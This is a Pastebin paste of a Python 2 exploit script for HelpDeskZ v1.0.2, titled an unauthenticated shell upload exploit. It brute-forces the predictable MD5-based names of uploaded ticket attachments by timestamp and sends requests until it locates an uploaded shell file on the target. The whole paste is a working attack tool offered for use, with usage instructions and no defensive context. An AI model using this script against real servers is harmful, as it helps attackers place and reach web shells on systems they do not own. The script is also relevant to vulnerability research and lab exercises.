Advertisement
Guest User

Helpdeskz v1.0.2 - Unauthenticated shell upload exploit

a guest
Jan 22nd, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.82 KB | None | 0 0
  1. # python hack.py http://localhost/helpdeskz/uploads/tickets/ shell.php
  2.  
  3.  
  4.  
  5. import hashlib
  6. import time
  7. import sys
  8. import requests
  9.  
  10. print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
  11.  
  12. if len(sys.argv) < 3:
  13.     print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
  14.     sys.exit(1)
  15.  
  16. helpdeskzBaseUrl = sys.argv[1]
  17. fileName = sys.argv[2]
  18.  
  19. currentTime = int(time.time()) + 300
  20.  
  21. for x in range(0, 600):
  22.     plaintext = fileName + str(currentTime - x)
  23.     md5hash = hashlib.md5(plaintext).hexdigest()
  24.  
  25.     url = helpdeskzBaseUrl+md5hash+'.txt'
  26.     response = requests.head(url)
  27.     if response.status_code == 200:
  28.         print "found!"
  29.         print url
  30.         sys.exit(0)
  31.     else:
  32.         print "Did not find on attempt {}\n".format(x)
  33.  
  34. print "Sorry, I did not find anything"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement